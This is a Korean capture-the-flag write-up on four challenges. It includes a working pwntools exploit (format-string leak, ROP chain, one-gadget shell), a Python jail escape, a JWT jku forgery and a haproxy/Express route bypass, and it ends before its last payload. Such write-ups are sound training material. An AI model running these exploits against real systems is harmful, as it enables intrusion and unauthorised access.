# Warmup (pwn)

libc.so (1).6
1.94MB
chall (2)
0.02MB

 

해당 문제는 FSB 를 통해 canary 값과 PIE 값을 leak 한 뒤, ROP로 shell을 획득하는 문제이다.

from pwn import *

context.log_level = "debug"

p = remote("chall.nitdgplug.org","30091")
e = ELF("./chall2")
l = ELF("./libc.so.6")

payload = "AAAAAAAA%20$p%23$p"
p.sendlineafter("Can you help find the Canary ?", payload)

p.recvline()
data = p.recvline().strip()[8:]
PIE = int(data[:14], 16)
canary = int(data[14:], 16)
PIE_base = PIE - e.symbols["__libc_csu_init"]
pop_rdi_ret = PIE_base + 0x0000000000001343

print("[*] canary: " + hex(canary))
print("[*] PIE_base: " + hex(PIE_base))

payload = b"AAAAAAAA" * 9 
payload += p64(canary)
payload += b"AAAAAAAA"
payload += p64(pop_rdi_ret)
payload += p64(PIE_base + e.got["gets"])
payload += p64(PIE_base + e.plt["puts"])
payload += p64(PIE_base + e.symbols["main"])

p.sendline(payload)

p.recvline()
libc = u64(p.recvline().strip() + b"\x00\x00")
libc_base = libc - l.symbols["gets"]
print("[!] libc_base: "+hex(libc_base))

p.sendlineafter("Can you help find the Canary ?", "A")
payload = b"AAAAAAAA" * 9 
payload += p64(canary)
payload += b"AAAAAAAA"
payload += p64(libc_base + 0xe3b31) # 0xe3b31 0xe3b34

p.sendline(payload)

p.interactive()

 

 

 

 

# Foobar Jail (MISC)

해당 문제는 python jail 문제이다.

여기서 로직 에러를 볼 수 있는데, for문 안에서 입력값 검증을 하는데, else문에서 실행 후 break 하지 않고 계속 반복문을 수행하게 된다. 즉, blacklist가 존재한들 의미가 없다.

#!/usr/bin/env python 

from __future__ import print_function

print("=========================")
print("  WELCOME TO FOOBAR JAIL ")
print("=========================")



blacklist = [
    "import",
    "exec",
    "eval",
    "os",
    "pickle",
    "subprocess",
    "input",
    "blacklist",
    "sys",
    "ls",
    "cat",
    "echo",
    "la",
    "flag",
    "tac",
    "grep",
    "find"
]

builtin = __builtins__.__dict__.keys()
builtin.remove('raw_input')
builtin.remove('print')
for modules in builtin:
    del __builtins__.__dict__[modules]

while 1 == 1:
    try:
        print(">>>", end=' ')
        val = raw_input()
        
        for word in blacklist:
            if word.lower() in val.lower():
                print("Sorry!! You cannot use that here.")
                break
            else: 
                exec val   
    except:
        print ("What are you doing ? :(")
        continue

 

따라서 최종 payload는 다음과 같다.

a = "".__class__.__bases__[0].__bases__[0].__subclasses__()[40]
print(a("flag.txt").read())

 

 

 

 

 

# Find My Location (web)

server (2).js
0.00MB

 

사용자가 전송한 `location` 값이랑 `history` 값과 `assign()` 함수를 통해 병합한다.

이후 56번째 줄에서 `isAdmin` 값이 `true` 일 경우, flag를 획득할 수 있다.

 

 

 

 

 

 

 

# The Photo Exhibit (web)

ThePhotoExhibit (2).tar.gz
0.05MB

 

이런 문제 유형을 처음 봐서 많이 검색을 해봤다.

해당 문제는 `/.well-known/jwks.json` endpoints를 제공한다.

이는 jwt에서 해당 값을 참고하여 암, 복호화를 하게 된다.

위 사진에서 jku 값을 필자의 서버 주소로 변경하고, 공격자 서버에서 `/.well-known/jwks.json` 값은 아래 사이트에서 쉽게 얻을 수 있었다.

https://mkjwk.org/

 

mkjwk - JSON Web Key Generator

 

mkjwk.org

 

위 사이트에 접속한 뒤, 필요한 정보를 아래 처럼 입력해 준다. 생성 버튼을 클릭하면, 오른쪽에 jwks.json 파일을 얻을 수 있다. 이 값을 공격자 서버에 업로드한다.

 

이제 jwt token 값을 올바르게 검증하기 위해 위 사이트에서 `show X.509` 값을 `yes`로 선택하고 생성 버튼을 눌렀다면, 추가로 다음과 같은 key를 얻을 수 있다. 여기서 필요한 값은 `private key` 와 `public key` 이다.

 

 

위에서 얻은 값을 https://jwt.io 사이트에서 얻은 정보를 입력하면 jwt token 값을 조작할 수 있다.

 

 

해당 문제에서 admin의 uuid 값을 얻어야 하는데, 문제 코드에서 힌트를 얻을 수 있었다.

이미지를 업로드 할 때, 파일이름에 uuid 값이 들어간 것을 볼 수 있다.

 

admin의 uuid는 메인페이지에서 배경사진의 파일 이름에서 얻을 수 있었다. 

따라서 admin의 uuid 값을 jwt token에 변조한 뒤 문제 서버로 요청을 보내면  flag를 획득할 수 있다.

 

 

 

 

# whoami (web)

chall (2).zip
0.06MB

 

해당 문제는 `haproxy` 가 앞단에서 routing 하고 있고, 그 뒤에 express 서버가 존재한다.

flag를 획득하기 위해 `/admin` 페이지에 접근을 해야 하는데, `haproxy` 설정으로 403 페이지가 출력된다.

 

이후 writeup을 봤는데, express에서 routing을 사용하게 되면 기본적으로 URL에 대소문자를 구문하지 않는다고 한다.

자세한 설명은 아래 링크를 참고하자.

https://lactea.kr/entry/nodejs-express-routing-case-sensitive-options

 

nodejs express routing case sensitive options

최근 CTF에서 nodejs express 문제가 나왔다. express에서 routing 기능이 있는데, 선택 옵션을 추가할 수 있다는 걸 처음 알았다. express Docs 내용 중, 아래 사진을 보면, Router에 대한 설명을 적어놓았다...

lactea.kr

 

따라서 `/adminN` 이라고 요청을 보내면, `haproxy` 의 설정을 bypass 할 수 있고 express에서는 이를 `/admin` 과 같은 요청으로 보기 때문에 성공적으로 접근할 수 있다.

 

최종 payload는 다음과 같다.